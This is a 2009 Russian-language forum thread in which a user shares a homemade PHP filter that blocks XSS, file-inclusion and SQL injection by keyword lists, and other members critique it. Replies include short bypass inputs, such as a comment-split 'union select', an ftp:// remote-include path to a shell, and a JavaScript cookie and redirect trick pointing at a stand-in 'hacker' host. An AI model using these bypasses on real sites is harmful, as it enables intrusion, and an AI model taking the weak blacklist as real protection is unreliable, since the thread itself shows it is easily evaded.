вебхак - защита

Discussion in 'Болталка' started by [QwyZ], 19 Dec 2009.

  1. [QwyZ]

    [QwyZ] Banned

    Joined:
    7 Jul 2009
    Messages:
    71
    Likes Received:
    27
    Reputations:
    5
    хелло ворлд, вот написал тут скриптик для своего сайта - чтобы филтровал запросы:

    PHP:
    <?php
    function split_req($s){$s=explode("&",$s);return($s);}
    $request=$_SERVER['QUERY_STRING'];
    $prequest=$_POST;
    foreach(
    $prequest as $pv => $pn){$preq=$preq.$pv."=".$pn;}
    $request=stripslashes($preq).$request;
    $request=urldecode($request);
    $request=strtolower($request);
    $vars=split_req($request);
    $xss_attack = array("<script","</script>","location.href","document.cookie","src=",".js","http://","alert(","%3E","%3C");
    $rfi_attack = array("../","./","etc/passwd","%00","http://","ftp://","://","data:");
    $sql_attack = array("'","union","select","from","%27");
    foreach(
    $vars as $kk=>$vv)
    {
    $cvd=explode("=",$vv);$cvn=$cvd[0];$cvv=$cvd[1];

        foreach(
    $xss_attack as $kkk=>$vvv){if (strstr($cvv,$vvv)){$xss_inf=1;$xss_poison=$vv;break;}}
        foreach(
    $rfi_attack as $kkkk=>$vvvv){if (strstr($cvv,$vvvv)){$rfi_inf=1;$rfi_poison=$vv;break;}}
        foreach(
    $sql_attack as $kkkkk=>$vvvvv){if (strstr($cvv,$vvvvv)){$sql_inf=1;$sql_poison=$vv;break;}}
        if (
    $xss_inf=="1")
        {
            
    $report="<br><b>".$_SERVER['REMOTE_ADDR'] . "</b> tried to attack system by <i>XSS attack</i> via this request:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=red>" stripslashes(htmlspecialchars($xss_poison)) . "</font><br>By date: ".date("F j, Y, g:i a")."<br>on page: <font color=blue>".htmlspecialchars($_SERVER['HTTP_REFERER'])."</font><br><br>";
            
    $logfile=fopen("./logs/edbe01a269a70b0780c47bf6e11792a9.php","a+");
            
    fputs($logfile,base64_encode($report)."\n");
            echo(
    "<center><font color=red size=-1 face=tahoma>Request denied because of infected as XSS - Attack</font></center>");
            exit;
        }
        if (
    $rfi_inf=="1")
        {
            
    $report="<br><b>".$_SERVER['REMOTE_ADDR'] . "</b> tried to attack system by <i>PHP Include</i> via this request:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=red>" stripslashes(htmlspecialchars($rfi_poison)) . "</font><br>By date: ".date("F j, Y, g:i a")."<br>on page: <font color=blue>".htmlspecialchars($_SERVER['HTTP_REFERER'])."</font><br><br>";
            
    $logfile=fopen("./logs/edbe01a269a70b0780c47bf6e11792a9.php","a+");
            
    fputs($logfile,base64_encode($report)."\n");
            echo(
    "<center><font color=red size=-1 face=tahoma>Request denied because of infected as RFI / LFI attack</font></center>");
            exit;
        }
        if (
    $sql_inf=="1")
        {
            
    $report="<br><b>".$_SERVER['REMOTE_ADDR'] . "</b> tried to attack system by <i>SQL Injection</i> via this request:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=red>" stripslashes(htmlspecialchars($sql_poison)) . "</font><br>By date: ".date("F j, Y, g:i a")."<br>on page: <font color=blue>".htmlspecialchars($_SERVER['HTTP_REFERER'])."</font><br><br>";
            
    $logfile=fopen("./logs/edbe01a269a70b0780c47bf6e11792a9.php","a+");
            
    fputs($logfile,base64_encode($report)."\n");
            echo(
    "<center><font color=red size=-1 face=tahoma>Request denied because of infected as SQL - Injection attack</font></center>");
            exit;
        }
        
    $xss_inf=0;
        
    $rfi_inf=0;
        
    $sql_inf=0;
    }
    ?>
    ну и логфайл - вьювер:

    PHP:
    <html>
    <style>
    .ffl
    {

    border: solid 1px orange;
    background-color:FFF0C6;
    padding:3px;
    margin-left:20px;
    margin-right:20px;
    }
    </style>
    <center><h3>Attacks logfile viewer:</h3></center><br><br>
    <font face=verdana size=-1>
    <?php
    @$logfile=file("./logs/edbe01a269a70b0780c47bf6e11792a9.php");
    $i=0;
    for(
    $i=0;$i<count($logfile);$i++)
    {
        
    $crep=stripslashes(trim(base64_decode(trim($logfile[$i]))));
        echo(
    "<div class=ffl>".$crep."</div><br><br>");
    }
    ?>
    </font>
    </html>

    если че-нить пропустил или есть какие - то советы/пожелания, отпишитесь
     
  2. [QwyZ]

    [QwyZ] Banned

    Joined:
    7 Jul 2009
    Messages:
    71
    Likes Received:
    27
    Reputations:
    5
    otpisyvemsa
     
  3. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    120
    Likes Received:
    118
    Reputations:
    34
    http://damagelab.org/dlsecure/ лучше
     
  4. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Обход:
    Code:
    ?lala=-1+/*%26*/union+select...
     
  5. [QwyZ]

    [QwyZ] Banned

    Joined:
    7 Jul 2009
    Messages:
    71
    Likes Received:
    27
    Reputations:
    5
    скачал. как откыл архив сразу бросилось в глаза то, что много файлов. 80% - морда сайта. 20% - движуха.
    вот:
    PHP:
    <?php 
    $bad_sql 
    = array("union","select","from","where","insert"," or "," and ","/\*","'",);
    $bad_include = array("http://","../",".php",".phtml",".php3",".php4","./",".php5",);  // a gde ftp i drugie protokoly? obxod: &file=ftp://abc:[email protected]/shell
    $bad_xss = array("<script","document.cookie","javascript:",); // a kakzhe iframe? nado http filtrovat tozhe.
    $allow = array("filelink","txt");
    $allow_custom = array("filelink"=>array("http://"),"url"=>array("http://"),"site"=>array("http://"),"txt"=>array("http://"),"homepage"=>array("http://"));?>
    незнаю - может я че просмотрел, но невижу каких то приимуществ
     
  6. joks

    joks Member

    Joined:
    27 Sep 2008
    Messages:
    16
    Likes Received:
    14
    Reputations:
    0
    1.

    NULL, ne prokatit. Ty zhe uzhe razkodiroval stroku
    chtoby nayti null - ne "%00", a "\x00" nuzhno ispolzovat.

    2.
    eto ochen specificheskiy massiv. Est okolo sotni raznovidnostey raznogo roda XSS, v tegi mozhno vstavlat HTML commentarii /***/, tak chto etot massiv nuzhno polnostye izmenyat i ispolzovat regexpy, esli hochesh horoshuyu zashitu.

    3.
    gde smysl "http://","ftp://","://" ? dostatochno ved odnogo "://"

    4.
    strstr uchityvaet registr simvolov. Vse tvoi massivy mozhno oboyti, zameniv hot odnu bukvu na zaglavnuyu.

    ispolzuy stristr togda uzhe.

    5.
    V htmlspecialchars est baga, kotoraya mozhet polozhit tvoy server, esli PHP <= 4.3

    6.
    v vozvrate ostanutsa ampersandy &. Eto ne smertelno, no na budushee.
     
  7. [QwyZ]

    [QwyZ] Banned

    Joined:
    7 Jul 2009
    Messages:
    71
    Likes Received:
    27
    Reputations:
    5
    1. насчет того что там есть в фильтрах какбы дубли то это да, уберу их потом
    2. strstr() функция там как раз норм, так как в самом начале еще весь реквест идет в strtolower
    3. насчет htmlspecialchars() поподробнее плз
    4. неостанутся амперсанды.
     
  8. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    $xss_attack = array("<script","</script>","location.href","document.cookie","src=",".js","http://","alert(","%3E","%3C");

    А какже события onlick/onmouseout/on.... а оттуда уже document.write(decode.string - или как его там, и делаем чо хочем)
     
  9. joks

    joks Member

    Joined:
    27 Sep 2008
    Messages:
    16
    Likes Received:
    14
    Reputations:
    0
    da, ne zametil.

    http://secunia.com/advisories/22653/ chtoto vrode etogo.

    xz.. mozhet cheto putayu.
     
  10. [QwyZ]

    [QwyZ] Banned

    Joined:
    7 Jul 2009
    Messages:
    71
    Likes Received:
    27
    Reputations:
    5
    да, надо подумать
     
  11. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Ну раз на то пошло...
    ИМХО скрипт бесполезный, ну не так защищать себя от слома надо =\
    Нус....
    $rfi_attack = array("../","./","etc/passwd","%00","http://","ftp://","://","data:");
    зачем "../" если есть "./"
    зачем "http://","ftp://" если есть "://"
    и document.cookie вобще бесполезен
    обход:
    f=document;
    pe4enkiiii=f.cookies;
    также
    pewpew=location;pewpew.href = 'http://hacker';
     
  12. [QwyZ]

    [QwyZ] Banned

    Joined:
    7 Jul 2009
    Messages:
    71
    Likes Received:
    27
    Reputations:
    5
    ты читать умеешь?
     
  13. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Какой ужас
     
  14. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    тс, тебе нравится извращаться? :)
     
  15. [QwyZ]

    [QwyZ] Banned

    Joined:
    7 Jul 2009
    Messages:
    71
    Likes Received:
    27
    Reputations:
    5
    это ты к чему?